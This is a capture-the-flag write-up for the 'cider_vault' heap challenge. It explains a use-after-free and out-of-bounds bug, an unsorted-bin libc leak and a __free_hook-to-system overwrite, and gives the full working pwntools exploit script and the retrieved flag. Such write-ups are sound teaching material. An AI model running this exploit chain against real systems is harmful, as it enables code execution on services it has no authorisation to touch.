Category: Binary Exploitation
Flag: BITSCTF{358289056fd6ac0fef4e114ae5abeab2}
Challenge Description
Given cider_vault, libc.so.6, ld-linux-x86-64.so.2. Remote: nc chals.bitskrieg.in 36680
Protections: 64-bit PIE, Full RELRO, Canary, NX.
Analysis
From reversing (objdump, readelf, radare2) and runtime behavior, the menu has these key primitives:
- open page →
malloc(size) - paint page → writes attacker bytes to chunk
- peek page → prints attacker-chosen bytes from chunk
- tear page →
free(ptr) - stitch pages →
realloc+ copy from another page - whisper path → rewires pointer as:
vats[id].ptr = star_token ^ 0x51f0d1ce6e5b7a91
Bugs used:
- UAF:
tear pagefrees memory but pointer is not nulled - OOB read/write:
paint/peekallow up tosize + 0x80 - Arbitrary pointer assignment:
whisper pathlets us set page pointer to almost any address
Exploitation
Step A — Leak libc with unsorted bin:
- Allocate large chunk (
0x500) so free goes to unsorted bin - Allocate guard chunk (
0x100) to avoid top consolidation - Free the large chunk
- Use UAF +
peekto read first qword (unsortedfd)
Empirically for provided libc: libc_base = unsorted_leak - 0x1ecbe0
Step B — Hook hijack:
__free_hook = libc_base + 0x1eee48system = libc_base + 0x52290
Use whisper path to point a controlled page at __free_hook, then paint to write p64(system).
Step C — Trigger code execution:
Create chunk containing command string, free that chunk. Because __free_hook == system, free(chunk) becomes system(chunk_data).
File used: exploit.py
#!/usr/bin/env python3
from pwn import *
context.binary = ELF("./cider_vault", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
LD = "./ld-linux-x86-64.so.2"
XOR_KEY = 0x51F0D1CE6E5B7A91
UNSORTED_LEAK_OFF = 0x1ECBE0
def start():
if args.REMOTE:
host = args.HOST or "127.0.0.1"
port = int(args.PORT or 1337)
return remote(host, port)
return process([LD, "--library-path", ".", "./cider_vault"])
def choose(io, n):
io.sendlineafter(b"> ", str(n).encode())
def open_page(io, idx, size):
choose(io, 1)
io.sendlineafter(b"page id:\n", str(idx).encode())
io.sendlineafter(b"page size:\n", str(size).encode())
def paint_page(io, idx, data):
choose(io, 2)
io.sendlineafter(b"page id:\n", str(idx).encode())
io.sendlineafter(b"ink bytes:\n", str(len(data)).encode())
io.sendafter(b"ink:\n", data)
def peek_page(io, idx, n):
choose(io, 3)
io.sendlineafter(b"page id:\n", str(idx).encode())
io.sendlineafter(b"peek bytes:\n", str(n).encode())
out = io.recvn(n)
io.recvuntil(b"\n")
return out
def tear_page(io, idx):
choose(io, 4)
io.sendlineafter(b"page id:\n", str(idx).encode())
def whisper_path(io, idx, target_addr):
choose(io, 6)
io.sendlineafter(b"page id:\n", str(idx).encode())
token = target_addr ^ XOR_KEY
if token >= (1 << 63):
token -= 1 << 64
io.sendlineafter(b"star token:\n", str(token).encode())
def main():
io = start()
# 1) Leak libc from unsorted bin using UAF + OOB peek
open_page(io, 0, 0x500)
open_page(io, 1, 0x100) # guard chunk to avoid top consolidation
tear_page(io, 0)
leak = u64(peek_page(io, 0, 8))
libc.address = leak - UNSORTED_LEAK_OFF
log.success(f"unsorted leak: {hex(leak)}")
log.success(f"libc base : {hex(libc.address)}")
free_hook = libc.symbols["__free_hook"]
system = libc.symbols["system"]
log.info(f"__free_hook : {hex(free_hook)}")
log.info(f"system : {hex(system)}")
# 2) Prepare command chunk; free(cmd) will become system(cmd)
cmd = b"cat /app/flag.txt; cat ./flag.txt; cat ./cider_vault/flag.txt\x00"
open_page(io, 2, 0x100)
paint_page(io, 2, cmd)
# 3) Arbitrary write via whisper_path + paint to overwrite __free_hook
open_page(io, 3, 0x100)
whisper_path(io, 3, free_hook)
paint_page(io, 3, p64(system))
# 4) Trigger system(cmd)
tear_page(io, 2)
out = io.recvrepeat(2)
print(out.decode("latin-1", errors="ignore"))
io.close()
if __name__ == "__main__":
main()Run local:
python3 exploit.pyRun remote:
python3 exploit.py REMOTE HOST=chals.bitskrieg.in PORT=36680Retrieved flag:
BITSCTF{358289056fd6ac0fef4e114ae5abeab2}